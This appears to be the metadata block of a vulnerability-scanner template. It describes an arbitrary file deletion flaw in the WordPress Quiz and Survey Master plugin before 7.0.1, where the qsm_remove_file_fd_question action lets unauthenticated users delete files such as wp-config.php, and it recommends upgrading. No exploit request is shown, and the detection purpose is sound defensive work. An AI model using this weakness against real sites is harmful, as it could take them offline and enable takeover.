info:

|
name: Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion
|
|
author: princechaddha
|
|
severity: critical
|
|
description: Wordpress Quiz and Survey Master <7.0.1 allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).
|
|
remediation: |
|
|
Upgrade to the latest version of Wordpress Quiz and Survey Master plugin (7.0.1 or higher) to mitigate this vulnerability.
